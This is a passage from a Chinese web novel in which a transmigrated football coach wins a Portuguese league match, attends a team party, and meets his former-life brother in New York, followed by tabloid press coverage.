导播室里，解说员希莱姆倒吸了一口气，开了句玩笑，“知道很多球迷朋友还没欣赏够斯图亚特的美貌，但为了我的奖金着想，还是让我们把目光重新投向球员。” “如大家所见，两队的出场名单都是拿出了实力最强的球员，贝伦人这边采用的是阵型是4-2-2，上一场比赛赛后，贝伦人主教练曾坦言：对阵里竞压力很大，与其期望能拿下三分，不如以0：0结局，拿下一分。看来这场比赛，他们会打一场更加保守的防守战，不知道今天会不会出现门前摆大巴的奇观？” “里竞这边，说实话我有点震惊了，”希莱姆舔了舔嘴唇，“斯特亚特再次拿出了他的4-2-3-1阵型，自从使用该战术连续三次不胜后，初出茅庐的教练似乎意识到自己想要颠覆足球战术理念的行为还是太操之过急了，面对媒体询问4-2-3-1阵型也是避而不谈，在所有人以为他会放弃的时候，他又带着4-2-3-1重新归来了！” “原本必胜的一局，会不会因为斯图亚特这个执拗草率的决定而出现反转呢？让我们一起期待吧！” 在六万多名里斯本竞技球迷的欢呼声中，裁判吹响哨声，这场被看做安东尼战术能力的证明之战，拉开了序幕。 4-2-3-1阵型，在安东尼看来绝不是什么强攻阵型，最多可以说一声攻守均衡，面对贝伦人这样的弱旅，其实强攻战术才是最好的选择，但安东尼为什么一定要用它，就是因为它有一个其他所有阵型都没有的优点：战术灵活可控。 球员有效覆盖球场各个区域，双后腰坚固中路防守，五名中场配置使得断球后能迅速发起反击，就像游戏世界里的六边形战士，没有短板，也就是在这个时候，作为操控者的安东尼的含金量就能体现出来了。 比赛一开始，双后腰之一的迭戈配合边后卫迪马斯和贝托、前腰罗德里戈，玩起了三角形传球，牢牢掌控着比赛节奏。 贝伦人想打防守反攻战，所以争抢的幅度不大，在发现自家球员根本争不过里竞后，贝伦人的教练直接指示球员后撤防守，保存体力。 见状，里竞的球员开始有组织的向前推进，看台上，球迷们能见到碧绿球场上，身穿白绿球衣的球员，以藤蔓生长的方式，慢慢向贝伦人的禁区腹地渗透，扩散。 此时，球迷们对此还不以为意，场上的节奏并不快，足球一直在里竞球员的脚下倒来倒去，多是精准的短传，打的十分平淡。 比赛第十二分钟，乔安接到迪马斯的传球，几个假动作过掉对方前锋，向前跑了十几米，在对方中场向他聚集，还差两米就要碰上的时候，脚背一提，球被挑飞，回传到右边路，恰好落在边锋罗伯特前方。 罗伯特奔跑，持球，进入对方的禁区前区域，贝伦人的禁区前挤满了人，四名防守退回禁区内，三名中场正在回追，罗伯特没有犹豫，一脚长传，将球送去左边路。 见状，克里斯蒂亚诺迅速提腿飞奔。 终于有人加速了！ 看台上所有球迷都是一阵惊呼。 克里斯蒂亚诺持球，左右脚连续假动作，身体灵活 ，接连过掉了两名后卫，绚烂的姿态的让解说都感到惊叹了。 “这是我见过的玩脚下花活玩的最好的葡萄牙人，”他说完又笑了笑，补充道：“当然，是在葡超来说。” 身前无人，克里斯蒂亚诺看了眼守门员位置，判断方向，果断抬腿，抽射！ 球被扑了出去，克里斯蒂亚诺有一瞬的遗憾，但下一秒，罗德里戈就从中路插了上来，挑射了一脚。 足球穿过一团乱斗的前锋和后卫中，击中了.....门框！ 二次打门不利，球被门框弹了出去，就在所有人都以为要重新开球的时候，一只脚从右路伸出来，猛地一蹬，足球贴着草皮高速前行，砸进球网，掉落、滚到白线边。 顿时，全场都沸腾了。 “我的天，罗德里戈出现的时机实在是太好了，”希莱姆激动地站了起来，举着麦克风道，“还有打门的罗伯特，在没人注意的时候，里竞早就做好了从左中前三路发起进攻的打算，三次进攻像是连弩一样，一次比一次威力浩大，竟然直接击碎了贝伦人这块儿厚盾！” “这绝对是战术性的胜利，斯图亚特的4-2-3-1阵型显露出了它的绝对优势——让每个位置的每个球员都有进攻性！” 战术开了个好头，接下来的时间里，里竞的球员像是开了挂一样，明明没有强烈的拼抢，也没有一个人千里狂奔，连过五人的盛况，却还是在进球，不停的进球。 球场上的球迷感觉自己看的不是一场比赛，而是一场不断重复的表演，里竞球员进球、后撤、拉扯，向前压迫，每一步都是游刃有余，生动展示了什么叫做压倒性的强大实力。 当时间来到下半场，第八十分钟时，里竞已经以5：0的绝对优势，压垮了贝伦人的心理防线。 哪怕是摆大巴，也阻止不了他们压路机一般的碾压推进。 看台上，贝伦人球迷几乎快哭崩溃了。 有喜就有悲，反观里竞球迷各个笑的看不见眼睛，举着球队条幅高声呼喊“再进一个球！”、“里竞好样的！”“我们一定是冠军！”。 其中一个呼声，让安东尼感到诧异。 从一开始极其微弱的声音，到后来越来越大，竟然演变成声势浩大的集体喊话。 “斯图亚特，BESTCOACH！” 大概是考虑到他英国人的身份，这些葡萄牙球迷特意用英文喊出了这句话，在他看过来的时候，还挥舞起手里的加油条幅。 他的名字的英文全拼，用里斯本竞技骨血中最纯粹的颜色：草绿和纯白色书写的。 安东尼有一瞬的哑然。 是什么时候开始，看台上针对他的辱骂和嘘声，渐渐变成了喝彩，就连他自己也记不住了。 但球迷就是这么纯粹的生物，永远敢爱敢恨，当你被他们憎恶时，痛苦如影随形，可当你被球迷全心全意的爱着时，他们将亲手送来超越世界上所有的甜蜜和感动。 迎着爱意，安东尼侧过身，笑着挥了挥手。 画面定格在这一瞬，并在第二天登上了各大葡萄牙媒体报纸封面，短短两个小时就全都卖空，在球迷纷纷投诉下，报社不得不答应加印，在圣诞节期间继续售卖。 尝到斯图亚特的流量带来的甜头后，《纪录报》率先行动，在《球讯》专栏里开了一个版面，专门报道每日关于斯图亚特的讯息。 这还不算完，比赛完的当日，一条黑体加粗的文章登在它的网站版面头条： 《漂亮的打脸！安东尼：一个实至名归的战术天才！》 就在《纪录报》以及其他葡萄牙媒体，一个个争先恐后，对着安东尼一顿吹捧乱舔时，事件的主人公已然离开了葡萄牙，踏上了前往美国纽约的飞机。 23. 冬歇前宴会 去美国前，安东尼没忘记迪马斯的邀请，他回家换了一身衣服，带着同样收拾整齐，满头亮晶晶发胶的西装小孩，一起前往宴会。 机票是晚上九点的，安东尼索性将行李箱放在后备箱，等宴会结束，直接开车去机场。 考虑到没人看护的小孩不安全，安东尼询问了克里斯蒂亚诺，要不要和他一起去机场，直接回马德里老家。 当然，小孩被迫改签是他的错，他会承担全部的改签费用。 葡超不在五大联赛内，再加上安东尼签约教练时对薪资也没做要求，他的税后薪资不过是1万5英镑每月，对于不算奖金，平均月薪10万左右的英超教头来说实在是寒酸，但比起只拿1000英镑周薪的克里斯蒂亚诺来说就显得富裕得多。 能提前回家，克里斯蒂亚诺很高兴，欢快的点了点头，才想起一个现实问题。 “我没提前告诉妈妈.....” 小孩睁着一双茫然的眼睛，看向男人。 “很简单，”安东尼从上衣西装内口袋掏出手机，递了过去，“记得替我向多洛雷斯女士问好。” 他挑眉道。 “当然！” 见到手机，克里斯蒂亚诺眼前一亮，双手捧过手机，屁颠颠跑去自己房间打电话了。 安东尼靠在门框边，静静等待，十分钟后，克里斯蒂亚诺推门而出，脸上是毫无遮掩的兴奋。 他笑着问：“多洛雷斯女士拒绝去机场接你？” “当然不会，”克里斯蒂亚诺瞪了他一眼，挺起胸膛，一脸神气道：“妈妈永远不会拒绝她的罗尼。” “哦~~~”安东尼拉长语调，赞叹道：“是上帝的宠儿呢，罗尼~” 克里斯蒂亚诺气的红了脸。 接过手机，安东尼顺手整理了一下上衣的褶皱，克里斯蒂亚诺小幅度瞄了一眼他的动作，学着他的样子拉抻衣角，谁知褶皱越来越多，嘴角下垂，直接放弃。 安东尼暗暗勾了勾唇。 黑色跑车驶向里斯本的经济区，在一个大型商场前拐了个弯，进入地下停车场。 迪马斯和女友开的体育用品店就在商场一楼，店铺将近三千平，涵盖了从护腕到水上摩托的全品类运动用品，此时还没开业，直接做宴会地点也毫无违和感。 不少球员直接拿了个足球，在试用的场地里玩起接力颠球。 白色长桌前，迪马斯揽着女友，正在和宴会负责人沟通一会儿的餐饮，见安东尼和克里斯蒂亚诺从正门走进来，迪马斯立刻迎了上去，抱住安东尼。 “谢谢你能来，”迪马斯的声音开心极了，“希望今晚不会让你失望。” 安东尼抬手，拍了拍他的后背，轻声道：“我今天收过你的一份礼物，已经是非常满意的一天了。” “卡西娅你好。” 松开迪马斯后，安东尼看向了他身边，对着身穿橘色包臀裙的拉丁美女，礼貌点头，引来对方一笑。 “你好，”卡西娅上下打量了一下安东尼，露出一个肯定的表情，“我以为迪马斯的话是夸张了，现在看倒是他说含蓄了，你真的很有魅力。” “我说的明明是人格魅力！” 迪马斯浅浅反驳了一句。 简单的寒暄后，安东尼带着克里斯蒂亚诺四处看了看，宴会人数不多，在座的都是迪马斯和卡西娅的亲朋好友，气氛很快热起来。 作为名人，里竞的球员们在这里很受欢迎，签名合照是必不可少，甚至有不少女性还会上去搭讪。 安东尼拿起一碟冷盘，恰好撞见球员和女性暧昧谈笑的，心里没什么波澜，但耐不住球员像是早恋的小学生，一下子紧张起来。 视线时不时瞥向他，似乎在担心他变身“吹风机”，严令自己谈情说爱。 安东尼在脑中想象了一下这个画面，勾了勾唇。 似乎很有意思啊，他想。 不过恶趣味是短暂的，收起神思后，安东尼迈步离开‘交际’区。 宴会最尽头的运动区，不少球员在那儿颠球，无处可去的安东尼选择加入，站在白线边，双臂环胸。 偏偏有人不愿让他这么悠闲。 “教练，你也来表演一下啊。” 一道声音从场地里传来，安东尼掀了掀眼皮，熟悉的人影映入眼帘。 果然是乔安在说话。 头铁的金发青年脚踩足球，胳膊搭在队长迭戈肩头，迭戈推开了他的手，避嫌的走远了。 偏偏乔安没察觉，傻乎乎的挑衅道：“怎么？教练还有怕露怯的时候啊。” 安东尼看向乔安，盯了一会儿，缓缓笑了。 “要比一比吗？”他问。 “比什么？” 乔安大手一挥，任由教练选择项目，表现得无比自信。 安东尼斜眼环顾了一圈墙上的球，似乎有些为难，犹豫了一会儿，勉为其难选了一项。 “篮球吧。” “行！” 乔安一脚把足球踢出界外，从墙上取了一个新的篮球，摆出弓步姿势，将球从胯下穿过，拍向地面，另一只手接住球，来回两下，动作行云流水。 好家伙，还会□□交叉步！ 竟然一下子挑了个乔安擅长的运动，教练这把怕是翻车了。 周围的球员纷纷看向教练，想看他窘迫的神色，可安东尼神色依旧平静，看不出他心里的想法。 所有人脑子里同时冒出一个恶劣的想法：加油乔安，打破教练的从容就靠你了！ 一场篮球1V1就此拉开帷幕。 安东尼单手解开袖口的扣子，脱掉西装，动作慢条斯理。 乔安比了个手势，示意教练先攻，没有丝毫客套，安东尼接过去，在地上拍了两下。 “咚咚。” 清脆的声音，如此熟悉，几乎一瞬间就将他带回了曾经的竞技时光。 安东尼垂下眸，微不可见的勾了勾唇角，抬眼，脚下猛地加速。 怎能这么快！ 乔安还没反应过来，安东尼已经带着球冲了过来，篮球拍击在地面上，急促的像是在他胸膛里一下下打鼓，他试图防守，左脚平移卡位，上身直直撞了上去，眼见教练被他逼停，乔安心里一喜，伸手夺球。 下一秒，乔安眼前闪过一片白色，他下意识抬手，扯开了教练的衬衫衣角。 犯规动作，但即使如此，也阻挡不了安东尼的脚步。 男人以左脚为轴心，拉球转身，右脚随着动作，向乔安的身后大幅度跨出，球从身前换到了左手，压低重心，左脚蹬地，一个加速突破了防线。 竟然被教练转身运球给过了！ 乔安一脸茫然，回身猛追，却已经晚了。 背着身的男人，跑进篮下禁区，抬起右臂，白衬衫收紧，勾勒出脊背的肌肉线条，右手轻轻一挥，篮球在空中划出一道完美的抛物线，落入球网。 乔安张大了嘴，震惊的说不出话。 安东尼回过头，胸膛轻轻起伏，挑眉问道：“还比吗？” “额，”乔安卡了一下，目光偏移，接收到了周围队友们的鼓励视线，再次鼓起勇气，“来，继续！” 生动展现了什么叫不撞南墙不死心。 安东尼盯着他看了一会儿，忽然笑了。 抬手搓了下乔安的脑袋，在对方不解的目光中，云淡风轻的离开了。 虽然不明白原因，乔安心里还是松了口气。 几分钟后，球员们又开始了新一轮的较量，嬉嬉笑笑玩作一团，仿佛什么也没发生过一样。 离开宴会前，安东尼召集了球员，提了几点冬歇期的要求，第一，保持体重，不许暴饮暴食，第二，保持健康，不许天天熬夜，玩极限运动，感冒生病，第三，必须开开心心。 球员们笑嘻嘻的应了。 “多余的话就不说了，”安东尼语气平 静，“状态不好就没法上场，竞技体育的残酷不需要我重复。” 此话一出，刚露出的笑容一下子僵在脸上。 环视一圈，安东尼见所有人对他的话上了心，心里满意，放柔声音。 “最后，祝大家冬歇快乐。” 和大家告别后，安东尼带着克里斯蒂亚诺赶往机场。 正值夜晚，候机厅人流稀薄，褪去了白日的喧嚣，只剩下登机广播偶尔在头顶响起。 安东尼单手拖着两只行李箱，向前走去，低头看了眼登机牌上的检票口数字，确定无误后，停下脚步。 “你在这儿上机。” 他偏过头，恰好克里斯蒂亚诺也在看他，两人视线相撞，少年一愣，受惊了一般，猛地向后退了半步。 安东尼顿了顿，继续道：“下飞机后，要是找不到多洛雷斯女士，就给她打电话。” 克里斯蒂亚诺习惯性的点了点头，忽然意识到不对劲，疑惑道：“可我没有手机，怎么给妈妈打电话？” “你现在有了。” 安东尼云淡风轻道。 在克里斯蒂亚诺由怔愣转向迷茫，紧接着狂喜的目光中，他从兜里掏出了一个白色盒子，掀开盖子，向前伸了伸。 “教练，你，”克里斯蒂亚诺犹豫的将手机接了过来，磕磕巴巴问：“什么时候买的？” “宴会隔壁刚好是手机店。” 安东尼没多解释，歪了歪头，笑着问：“喜欢吗？” “喜欢！” 怎么能不喜欢呢？克里斯蒂亚诺早就想买一部手机了，这样他就可以每晚和马德拉的家人们联系，而不用等到周末去公共电话亭打电话。 自从进入里斯本竞技能领薪水后，克里斯蒂亚诺一直是把钱交给妈妈保管，手里只有零星的零花钱，根本不够支付高额的手机费用，他从不曾抱怨过什么，因为比起一部手机，这些钱花在他的家人身上，能让他们吃饱穿暖，不必继续以前食不饱腹的潦倒生活。 可当真的得到了一部崭新的手机时，克里斯蒂亚诺发现他还是开心的，他喜欢新颖的、昂贵的东西，还有那些亮晶晶的首饰、钻石，他一直都想要得到。 克里斯蒂亚诺不知道该对安东尼说什么，只是不断的抚摸着手机，像是在抚摸什么至宝，垂下的眼睫毛卷翘浓密，遮住了眼底荡起的点点波澜。 安东尼也没开口，偏头看向窗外。 巨大的落地玻璃是一整面透明的屏障，把夜色框成了一幅缓缓流动的画。 一架飞机静卧在廊桥旁，银白的机身敛着光，机翼上闪烁的航灯一明一灭，跑道尽头的地灯铺成一条细碎的光带，在黑夜中交相呼应。 “像不像星星？” 安东尼忽然出声问。 闻言，克里斯蒂亚诺偏过头，仔细打量了一下，说：“有点像，但没有马德拉的星空好看。” “马德拉的星空是什么样？”安东尼问。 “很亮，”克里斯蒂亚诺说，“仰起头的时候，星星恰好就会在。” “一直会在......” 安东尼看向窗外，声音几乎微不可闻，“挺好。” 恰好此时，登机广播响起一道温柔的女声，提醒里斯本飞往马德拉的葡萄牙航空TP1689，开始登机。 安东尼回过神，看向克里斯蒂亚诺，笑道：“祝你和家人过得开心。” “你也是教练，”克里斯蒂亚诺顿了顿，一脸真诚道：“我给你的祝福一定会有用的，你必须相信我！” 安东尼蓦然想起被他祝福的那个晚上，穿越以来，那是他睡的最好的一次。 不过是心理作用，安东尼心想，身体却下意识点了点头。 安东尼一愣，面对克里斯蒂亚诺执着的目光，喉结轻滚。 “好。” 他缓缓道。 “我相信，”安东尼说，“毕竟罗尼是被上帝宠爱的孩子。” 24. 圣诞奇缘 安东尼送走了克里斯蒂亚诺，带着“神之子”的祝福，奔赴大洋彼岸。 5420公里的航程，总计飞行时后，飞机降落在肯尼迪机场。 许久没有坐过经济舱的安东尼活动了一下僵硬的脖颈，关节发出咯吱咯吱的响动，迈出廊桥的那一刻，迎上刺眼的阳光，他下意识闭了闭眼，在心里默念道： 好久不见，纽约。 今天没有云，天色是一种近乎金属的灰蓝，第五大道上，摩天楼的玻璃幕墙挂着圣诞花环的红缎带，给这片冷硬的钢筋水泥森林，带来些许欢乐的节日氛围。 风也和这座城市一样冷硬，一个劲儿往领口钻，安东尼紧了紧身上的羊毛黑大衣，垂在小腿的衣摆，随风掀起，他挤过人群，朝中央公园的入口走去。 “给我一个薄荷冰淇淋，谢谢。” 餐车内，戴着耳罩的墨西哥女人听见他的声音，转过身，打量了他一眼，递来一只蓝色蛋筒冰淇淋。 “冬天在我这儿买冰淇淋的人，你还是第二个。” “我想也是的。” 安东尼笑道。 接过冰淇淋，指尖在风中被冻得发僵，蛋筒的脆皮贴上嘴唇，凉意直透进齿根，安东尼没在意，视线在公园内游走，像是在寻找什么人。 似乎不是今天。 寻找一圈无果，安东尼不免失望。 前方那片空旷的雪地上，一家四口正围着一群灰鸽子。小女孩蹲在中间，粉色的手套里攥着一把掰碎的火腿肠，鸽子们簇拥在她脚边，脑袋一伸一缩，围着她打转，稍大一些的男孩，站在她身侧，偶尔抬手，驱散试图落在女孩肩上的鸽子。不远处，一对儿恩爱的男女注视着这一幕，眼里带着笑意。 圣诞节的全家出游？倒是温馨。 坐在长椅上，阳光晒着左边脸颊，微微有点烫，右边却仍是冷的。 奶油在舌尖化开，口腔里充斥着甜腻的气息，安东尼忽然感觉索然无味，刚要起身，头顶传来一道声音。 “我本来不信，”男人缓缓道，“原来真的有人和我一样，冬天吃薄荷冰淇淋。” 安东尼猛地抬起头。 鸽群突然扑棱棱飞起，在明亮的天光里画出几道灰弧，又落下来，咕咕地叫起。远处，第五大道的车流声隐隐约约，像隔了几道厚窗帘，耳朵一时听不清。 他的目光紧紧落在面前的男人身上，眼神透着复杂情绪，惊喜、怀念、还有丝丝悲伤。 男人看着长椅子上沉默的安东尼，心里有种微妙的熟悉感，似乎他们早就见过很多次，一直存在对方的生命中一样。 他垂了垂眼，短暂思考后，伸出手，“我是霍淮。” “你也可以叫我ja。” “不必，”安东尼伸出手，用字正腔圆的中文道：“霍淮，你好。” 他垂下眼，看向两人相交的手心，心里发出慨叹：好久不见，大哥。 难得在纽约遇到会说中文的人，最重要的是，这人还让他感觉似曾相识，霍淮来了兴趣，回头看去，招了招手。 一个带有浓郁拉丁风情的明艳美女，踩着高跟鞋，款款向他们走来，吸引了公园里无数人的目光。 显然她很习惯这一切，热情挥了挥手，“hello，我是歌洛丽娅。” “没想到你还会在街上交朋友，”女人偏过头，看向男友，一脸促狭，“我以为你只会结交华尔街的高档会所，那种大手一挥，给你洒钱的傻瓜。” “enough，OK？” 霍淮挑眉。 “你在金融行业工作？”安东尼问。 霍淮用眼神和女友示意自己不打算和人谈论工作，转过头。 “不，我只是个普通律师。” 如果成为顶级红圈所的首席律师兼合伙人也能叫做普通，那世界上就没有普通的人了。 安东尼习惯了他大哥嘴上说一套，心里藏一套的做派，但听到对方设防的冷淡话语，难免还是会不爽。 “哦，”他同样轻描淡写道：“原来是个小律师，要是我以后有劳务纠纷，说不定还能找你帮忙。” “噗嗤。” 一旁的大美女憋不住了，歪在霍淮的肩膀上，身体一抽一抽的，笑的直不起来腰。 霍淮无奈的揽着女友的腰，寒风中，三人的脸被风扫的多了一抹薄红，恰好此时，天上飘下来点点雪花，眼看越下越大，他建议道：“换个地方聊聊？” 安东尼就是为霍淮而来的，自然不会拒绝。 “我知道一个地方，”他说，“你应该会喜欢。” 如果说第一次是巧合，那第二次就过于令人产生怀疑了。 霍淮跟着身前的男人，看着他穿过几条街，带着自己走进了一家熟悉的清吧，表面平静，心中却掀起了惊涛骇浪。 安东尼穿过一张张圆桌，来到吧台前，光晕落在深胡桃木台面上，看着吧台后一整面的酒墙，格子里的酒瓶高低错落，琥珀色、深红、浅金，瓶身上贴着泛黄的法文或英文标签，字母有些模糊，散发着低调而昂贵的气息。 “两杯威士忌，加冰，”安东尼对调酒师说，偏头问了句：“女士喝什么？” “和你们一样。” 歌洛丽娅双手插兜，仰了仰下巴。 银发调酒师抬眸看了眼他们，视线落在霍淮脸上，顿了一下，霍淮微微点头，调酒师笑了笑，将视线移到手里的酒瓶上。 午后，酒吧里的人零零散散，三人并排坐在吧台角落的高脚凳上，长柄匙缓缓搅动高脚杯里的冰球，发出细碎的、绵长的声响，一时无人开口。 安东尼接过推来的酒杯，握在手里摩挲，眼眸低垂，长睫的阴影落在眼睑，让人看不透他的心思。 三人之中，唯一急性子的歌洛丽娅忍不住了，俯身趴在吧台上，隔着男友，看向安东尼。 黑色大衣从上到下将他包裹起来，即使如此，也难以遮掩宽肩窄腰的好身材，棱角分明的脸上，眉骨高挺如峰，五官深邃，透着一股熟男的野性诱惑，偏偏生了一双冰蓝色的眼眸，目光扫过来，让人不自觉心底一凉。 外表火辣，内心冷淡，矛盾的两种特质撞在一起，反倒糅合成一种更诱人的魅力，让人想要探究一二。 一个能轻易魅惑人心的男人。 歌洛丽娅眼底的惊艳一闪而逝，很快恢复正常。 她笑道：“嘿，交朋友总不能干坐着，你得介绍一下自己吧？” “安东尼.斯图亚特，”男人徐徐开口，声音低沉如同耳语，“只是个普通的足球教练。” 霍淮：“Football？” “yes，”安东尼直直看向他，“i‘mEuropean。” 所以不是橄榄球。 霍淮了然，抬手抿了口威士忌，浓郁的香气在口腔蔓延，自喉管灼烧到胸口。 他声音沙哑：“圣诞节不和家人一起过，来美国旅游？” “家人都在忙，”安东尼说完，反问道：“那你呢，你是美国亚裔，家人也不在身边？” 他的直直的看向霍淮，像是认准了什么，目光中带着几分笃定和熟稔。 霍淮不是第一次感觉到这种违和感了，他扯了扯勒在脖子上有些紧的领带，松开两个扣子，缓 解了些许燥意，淡声道：“我没有家人。” “为什么没有？” 安东尼问。 说实话，这种刨根问底式的追问，已经超出了第一见面的两个陌生人能交流的程度，也不是一个懂人际交往的成年人该说出的话。 霍淮下意识的升起一股恶意，皱了皱眉，很想起身离开，心里却有一道声音和他说，别走，否则他一定会后悔的。 他沉默了一会儿，淡然道：“我父母四年前车祸去世了。” 一旁，歌洛丽娅瞪大了眼睛。 自己和霍淮交往了三个月，关于霍淮父母的死却一无所知，每次试图打探对方的私生活，都会被男人轻描淡写的带走，久而久之，歌洛丽娅也不追问了，毕竟霍淮十八岁前都生活在中国，性格内敛也正常。 但为什么面对她表现得冷淡慢热的男友，却会对第一次见面的男人袒露身世？ 明艳的女人目光逐渐复杂，视线在专注对视的两个男人身上扫来扫去，表情有些纠结。 听见霍淮用平静的声音说出这句话，早已接受了事实的安东尼仍不免内心悸动。 可他依旧强逼着自己问出这句话：“你没有别的亲人吗？” 霍淮一愣，“没有。” “没有兄弟姐妹？” “...有一个继兄，”霍淮缓缓道，“是我继父和前妻的儿子。” 所以这个世界，他并不存在。 安东尼不知道自己该高兴还是该难过，仔细品了品，依旧品不出自己的心情，整个人倏地沉默下来。 “你问了这么多，也该我问问题了，”霍淮指尖在杯壁上轻轻扣了扣，清脆的响声在两人之间回荡，“你之前认识我吗？” 即使男人的声音听起来沉稳平静，依旧难掩这个问题的犀利性，一针见血，戳破了两人之间隔着的迷雾。 安东尼舔了下干涩的嘴唇，薄荷甜味混杂浓烈酒香，一下子将他带回了曾经，那些回忆，就算是穿越到另一个人身上，也难以忘怀。 十岁那年，母亲改嫁，两个兄弟少年奔赴了遥远的美国，异国他乡，再加上亚裔的身份，饱受当地人的歧视。 霍淮为了保护他，刚上大学就努力赚钱，给他找了拳击、射击教练，让他练就了坚实的体魄，成了学校里校霸惹不起的人物。 因为继父是橄榄球教练的缘故，他高中时参与了许多体育社团，从橄榄球、曲棍球到冰球，再到篮球，表现优异远超一众白人小孩，为了让坚持培养他的继父高兴，他没有报考大学，而是选择以篮球为生。 直到二十岁，父母意外双亡，已经是NBA球星的他接连五场比赛状态不佳，被教练、球迷谩骂，浑浑噩噩即将坠落深渊的时候，又是霍淮伸手拉住了他。 辞掉华尔街的高薪工作，陪读一年，将他送进了牛津大学，上学期间就带着他出入各大高档场所，让他学习如何谈股票交易、识别人心，一点点，将他从一个单纯热血的运动员，塑造成了任何场合都能沉稳应对的成熟男人。 霍淮说过，皮囊是一个人自律和品味的象征，所以他教他打领带、涂发胶香水、熨烫西装，将过去的经验，化作一条条dresscode传授给他。 对安东尼而言，霍淮不只是兄长，还是朋友、是父亲、是支柱，是让他人生安稳的大山。 可这座大山，却不属于他了。 安东尼眼底闪过一片晦涩。 他缓缓开口，像是被木头来回摩擦声带，声音干涩的吓人。 “不认识。” 他说。 话语坠地，像是一场雨落下，心底发冷。 25. 失恋新闻 霍淮对于安东尼的回答是不信的。 可他没有任何证据能证明对方是专门冲着自己而来的。 如果真的是律所竞争对手或之前输了官司而对他交恶的富豪所为，那做的未免也太聪明，竟然能打探出他的偏好，又派了一个如此优秀的间谍。 光是让他生不起防备这一点，就足够令霍淮震惊了。 但，也就到此为止了。 霍淮推开手里的酒杯，融化了一半的冰球在杯壁里晃荡，发出清脆的响动，安东尼抬起头，太过熟悉对方的代价，让他一眼就能看出霍淮的意图，趁他离去前，猛地抓住了衣领。 高亢的惊呼声在耳侧响起，安东尼凝视着霍淮的眼睛，用中文一字一句道：“霍淮。” “你一定要好好享受生活。” 被拽起来的一瞬间，霍淮没有意外，抬手制止了扬起皮包的歌洛里娅冲过来，神色平静如常，直到听见安东尼饱含真挚的告诫后，眼底闪过一丝诧异的暗光。 为什么？ 他的目的到底是什么？为了自己的钱、人脉还是性命？ 霍淮自认为，除了这些，他再也没有什么值得别人觊觎的东西了，可偏偏他感觉到对方要的不是这些，那双冰蓝色的眼眸里有太多情绪，让他无法辨析。 有些事情注定是连科学也无法解释清楚的，安东尼松开手，霍淮没有动，站在原地，静静地看着他从钱包里掏出两张崭新的美钞，垫在杯子下，随后，将指尖夹着的一张白色名片，塞进他的上衣口袋。 “如果有一天，你需要任何帮助，”安东尼加重语气，“我是说任何。” “Callme.” 他抬起眼：“ialwaysbethere.” 安东尼离开了，门上的风铃声簌簌响起，一阵风冷冷的刮进屋内，雪的清凉裹着机油与铁锈的气息，是纽约特有的味道。 “没事吧，淮。” 歌洛里娅关切的声音在头顶响起，霍淮回了神，清了下嗓子，应道：“没事。” 安东尼眼里一闪而逝的水光是风太大，还是.... 他摸了摸口袋，摩挲着名片边缘的毛刺，指腹渐渐温热。 * 见到了霍淮，这一趟纽约之行对安东尼来说也没有意义了，他买了最快的航班返回里斯本，推开公寓门的瞬间，一团幽暗映入眼帘。 提着行李的手骤然一松，又立刻收紧。 是了，安东尼想起来，家里的小孩已经回马德里和家人团聚了，没有人会在天黑的时候，光脚跑出房间，点亮客厅挂着的一颗颗足球形状的小夜灯。 安东尼呆呆的站了一会儿，回过神，默默按下墙上的开关，白炽灯骤然照亮了房间。 他提起行李箱，径直走进自己的房间。 门砰的一下关上，屋子重新陷入沉寂。 新年的第一天在飞行中直接错过了，索性安东尼没有过节的习惯，第二天中午，他去超市采购了一些蔬菜、橄榄油和牛排，当做几天假期的存粮，接下来的时间，他打算把家里剩下的战术书籍看完，再仔细思考一下未来。 安东尼并不知道，他为自己规划的假期计划，竟然全都在报纸上体现了！ 球员的冬歇期，对于记者来说反而是一年到头最忙碌的时候，总有一些球员的冬歇期行程内会爆出几个惊天大瓜，让他们赚足钞票。 但今年，跟拍球员已经不再是最赚钱的项目，要问葡萄牙当今热度最高的人物，那必然是里斯本竞技的主教练——安东尼.斯图亚特呀！ 毕竟球技好的球员只能吸引到爱看球的男人，而这位主教练，吸引的是所有懂得欣赏美的人。 据不完全统计，自从这位酷爱穿西装，形似古罗马雕塑的主教练出现在葡超联赛的球场上，负责转播联赛的里斯本体育频道，本季收视率一路狂升，光是在里斯本地区，就到达到了惊人的59.2%，比往年增加了21.3%的收视率，频道的广告收益也在直线增加。 在如此赤、裸的流量加持下，里斯本无数家媒体记者从12月30号就开始蹲守安东尼的去处。 一路目睹他从俱乐部步行回家，又驱车前往迪马斯开办的宴会，最后到达机场，甚至有人跟着买了机票飞到美国，但遗憾的是，下了飞机后就跟丢了安东尼的身影。 安东尼在美国做了什么？ 空白的行程引发了无数媒体记者的联想。 但好在，一天过后，对方又出现在了里斯本的公寓，在美国停留的时间甚至不到十二个小时，逛超市采购物资后，闭门不出。 葡萄牙《球报》网站12月30日晚间即时新闻：《战术大胜，斯图亚特意气风发，新西装配超跑》 紧接着，各大媒体也在跟风： 《球员齐聚，斯图亚特和爱徒相谈甚欢》 《乔安带十个篮球回家？疑似想组建篮球队》 《超跑、名表、定制西装，盘一盘最帅主教练的家底》 《主教练携小球员前往机场，共赴假期？》 多亏回公寓的时候，克里斯蒂亚诺先安东尼一步回去，否则指不定还会多一个两人同居的新闻报道。 但光是这些消息，就够葡萄牙人看的津津有味了，几十张角度各异的安东尼西装图，让一众网友高呼：好想舔屏，网站点击率滋滋飙升。 第二天，唯一跟到美国的记者，得意洋洋发布了新内容。 《纪录报》网站更新八卦头条：《斯图亚特千里赴美国，飞机全程不苟言笑，疑似女友想分手，痴情追回》 当然，这一条新闻因为只有安东尼坐飞机的照片，全程见不到女友本人，而被众多网友狂骂小编造谣，迫于舆论压力，在第二天的报纸上删除了这段内容。 1月2日，失恋事件迎来翻转。 《纪录报》在当日头版封面上刊登了斯图亚特独自逛超市的照片。 画面上，安东尼一改往日的西装穿搭，黑色高领毛衣搭配咖色羊毛翻面夹克，和浅色系阔腿裤，尽显轻熟松弛的气场，抬手间，露出腰上的黑色皮带，泛着亮面的光，紧紧勒着盈盈一握的窄腰，简直是画面的点睛之笔！ 宛如杂志画报现场，漂亮的让人直接无视了他怀里装满西红柿、包菜等食材的纸袋。 在用封面的“魔鬼身材”成功留住读者后，报纸心机的放了下一张照片，这一张聚焦于斯图亚特的脸部，高耸而微皱的眉，下垂的嘴角、无一不昭示着他“心情不佳”的事实，镜头语言堪称满分。 而这样的情绪变化，不免让人联想到昨日《纪录报》那一则造谣新闻，不少网友反复点开照片，试图通过分析细节判断安东尼是否真的失恋了。 不过不管有些球迷怎么坚定立场，“穿衣风格转变”+“超市心情不佳”两张照片叠在一起，几乎是把失恋事件实锤了。 